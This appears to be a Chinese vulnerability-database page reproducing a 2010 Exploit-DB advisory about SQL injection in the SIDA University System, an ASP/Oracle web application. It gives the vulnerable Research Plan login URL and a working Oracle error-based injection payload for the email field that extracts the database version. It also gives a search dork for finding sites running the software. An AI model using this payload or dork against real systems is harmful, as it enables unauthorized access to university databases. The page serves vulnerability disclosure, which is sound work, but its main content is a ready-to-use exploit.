SIDA University System - SQL Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1060617 漏洞类型
发布时间 2010-07-01 更新时间 2010-07-01
CVE编号 N/A CNNVD-ID N/A
漏洞平台 ASP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/14155
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
# Author: K053  <K053.dev0te3 at gmail>
# Vendor : SIDA < http://91.98.156.224/ >
# Version: All below 1389 are vulberable
====================================================================================
Note: Seems vendor patched this vulnerability in newest update [ 1389]
so we decide to public it now. Maybe more in future ;)

====================================================================================
Detail: Application is vulnerable in several section. seems developer
fixed most of them but until version 1389 Research Plans section is 
vulnerable. In Research Plans section there is form which there is no 
input validation in email field.

====================================================================================
POC: Application powered by Oracle DBMS. Submit this query in email field
and let password field empty to get DBMs version.

http://address/Portal/Research/ResearchPlan/UserStart.aspx

'or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--

====================================================================================
Dork: just search for "سیدا"

====================================================================================
~Blackout Frenzy  [http://b0f.ir]